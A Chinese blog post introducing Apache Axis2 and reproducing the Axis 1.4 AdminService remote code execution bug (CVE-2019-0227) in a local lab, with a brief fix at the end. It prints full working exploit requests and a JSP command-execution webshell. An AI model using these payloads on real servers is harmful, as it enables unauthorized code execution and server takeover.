开发知识点-Apache Axis2框架

时间:2024-03-17 08:28:06

在这里插入图片描述

Apache Axis2

    • CVE-2019-0227
      • 漏洞复现
      • 漏洞修复


Apache Axis2是一个开源的Web服务框架,提供了一种灵活、可扩展的方式来构建和部署Web服务。它是Apache Software Foundation(ASF)的一个*项目,是Apache Axis的后继版本。

Axis2的主要特点和功能包括:

1. Web服务支持:Axis2支持多种Web服务标准,包括SOAP(Simple Object Access Protocol)、WSDL(Web Services Description Language)、XML等。它可以用于开发和部署各种类型的Web服务,如基于SOAP的Web服务、RESTful风格的Web服务等。
    
2. 可扩展性和灵活性:Axis2采用了模块化的架构,使得开发者可以方便地添加、移除或替换各种功能模块,以满足不同的需求。它提供了丰富的扩展点和API,可以进行高度定制和灵活的配置。
    
3. 支持多种传输协议:Axis2支持多种传输协议,如HTTP、HTTPS、SMTP等,使得Web服务能够在不同的网络环境和协议之间进行通信。
    
4. 数据绑定和序列化:Axis2提供了数据绑定和序列化的功能,可以将Java对象与XML或其他格式之间进行转换。它支持各种数据绑定技术,如XMLBeans、JiBX等,以满足不同的需求。
    
5. 安全性支持:Axis2提供了一系列安全性功能,包括消息加密、数字签名、身份验证和授权等。它可以与各种安全框架集成,如Apache Rampart、Spring Security等,以实现更强大的安全性需求。
    
6. 工具支持:Axis2提供了丰富的工具和插件,用于辅助开发和部署Web服务。其中包括代码生成工具、调试工具、性能分析工具等,使开发者能够更高效地进行开发和调试。



https://xz.aliyun.com/t/7981

axis 1.4 AdminService未授权访问 jndi注入利用


https://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246193&idx=2&sn=f730600f904b7510beae16801ebdca61&chksm=82ea5798b59dde8ed8ae2090c16222304039a45c14fa3bef1ae09b4521761b10cada641c34b0&scene=27
任意文件读取漏洞的曲折历程 


https://blog.csdn.net/gmaaa123/article/details/122449013
WebService之Axis2 Log4j 2.x 漏洞

Axis  getshell
https://blog.csdn.net/weixin_44578334/article/details/112233313



Apache Axis2 XXE漏洞(CVE-2018-8032):影响范围是Axis2 1.7.7及之前版本。该漏洞的原因是Axis2在处理XML输入时没有正确地限制外部实体的解析,攻击者可以通过构造特殊的XML文档,导致信息泄露或拒绝服务 。
Apache Axis2反序列化漏洞(CVE-2010-1632):影响范围是Axis2 1.5.1及之前版本。该漏洞的原因是Axis2在处理SOAP消息时没有正确地验证输入,攻击者可以通过发送包含恶意对象的SOAP消息,触发反序列化漏洞,执行任意代码 。

在这里插入图片描述

CVE-2019-0227

E:\hack\exp\Axis-1.4-RCE-Poc-master




Apache Axis远程代码执行漏洞(CVE-2019-0227)
影响范围是Axis <= 1.4版本,
并且enableRemoteAdmin设置为True。

该漏洞的原因是Axis允许远程访问AdminService服务,
攻击者可以通过发送恶意的HTTP-POST请求,部署一个自定义的WebService,从而实现写文件或执行命令等操作

管理员对AdminService的配置错误。
当enableRemoteAdmin属性设置为true时,
攻击者可以构造WebService调用freemarker组件中的template.utility.Execute类,
远程利用AdminService接口进行WebService发布,再次访问生成的WebService接口,传入要执行的命令,
就可以进行远程命令执行漏洞的利用。 


https://mirrors.tuna.tsinghua.edu.cn/apache/axis/axis/java/1.4/axis-bin-1_4.tar.gz
下载的axis-bin-1_4.tar.gz压缩包中的webapps目录下的axis目录

拷贝到tomcat的webapps目录下


https://mvnrepository.com/search?q=freemarker-2.3.28.jar

下载的freemarker-2.3.28.jar放在axis/WEB-INF/lib目录下

启动tomcat后访问http://localhost:8080/axis



`
在这里插入图片描述

`

需要WEB-INF/web.xml 去掉AdminServlet注释

远程访问复现需要开启服务访问一下,会在WEB-INF下面生成一个server-config.wsdd


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/783494c3937b4adc8af666b37892de09.png)

需要将文件修改enableRemoteAdmin将false改为true


`
在这里插入图片描述

`

这样允许远程admin服务

最后重启tomcat


`
在这里插入图片描述

漏洞复现

手工写入shell

通过services/AdminService 服务部署一个webservice

webservice开启一个写文件服务。
写入的文件路径是…/webapps/ROOT/shell.jsp,
注意写入shell位置,也可以修改比如manager,建议在ROOT下
服务模块的工作路径是bin目录,这里利用相对路径写入ROOT目录,

我们默认IP+port访问的就是ROOT目录,也就是tomcat默认根目录。




`

在这里插入图片描述

 POST /axis/services/AdminService HTTP/1.1
Host: 192.168.0.104:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Accept-Encoding: gzip, deflate
Content-Length: 1061

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <ns1:deployment
  xmlns="http://xml.apache.org/axis/wsdd/"
  xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
  xmlns:ns1="http://xml.apache.org/axis/wsdd/">
  <ns1:service name="RandomService" provider="java:RPC">
    <requestFlow>
      <handler type="RandomLog"/>
    </requestFlow>
    <ns1:parameter name="className" value="java.util.Random"/>
    <ns1:parameter name="allowedMethods" value="*"/>
  </ns1:service>
  <handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" >  
    <parameter name="LogHandler.fileName" value="../webapps/ROOT/shell.jsp" />   
    <parameter name="LogHandler.writeToConsole" value="false" /> 
  </handler>
</ns1:deployment>
  </soapenv:Body>
</soapenv:Envelope>


调用上一步创建的恶意webservice 写入webshell


POST /axis/services/RandomService HTTP/1.1
Host: 192.168.0.104:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36
Accept-Language: en-US,en;q=0.5
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Accept-Encoding: gzip, deflate
Content-Length: 876

<?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:main
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
            <api:in0><![CDATA[
<%@page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>
]]>
            </api:in0>
        </api:main>
  </soapenv:Body>
</soapenv:Envelope>



返回时500没关系,我们查看一下ROOT下面是否写入shell文件

在这里插入图片描述
在这里插入图片描述


ROOT目录下shell文件,有一些Java的类异常报错,因为是log模式。

核心还是写的CMD码

访问一下shell

http://192.168.0.104:8080/shell.jsp

执行一下命令

http://192.168.0.104:8080/shell.jsp?c=ifconfig可以获取系统的信息但是看起来不怎么直观

在这里插入图片描述
在这里插入图片描述
检查代码

在这里插入图片描述
poc脚本写入shell

python Axis1.4_rce_poc.py http://192.168.0.104:8080/axis/

访问shell路径:http://192.168.0.104:8080/axis/…/shell.jsp

在这里插入图片描述
在这里插入图片描述
http://192.168.0.104:8080/shell.jsp?c=id

在这里插入图片描述

漏洞修复

关闭admin服务即可,具体方法注释掉web-inf/web.xml 里的AdminServlet,然后重启tomcat.

<servlet-mapping>
    <servlet-name>AdminServlet</servlet-name>
    <url-pattern>/servlet/AdminServlet</url-pattern>
  </servlet-mapping> 


参考:
https://www.secpulse.com/archives/108937.html
 
https://github.com/ShimizuKawasaki/Axis-1.4-RCE-Poc 

E:\hack\exp\Axis-1.4-RCE-Poc-master

`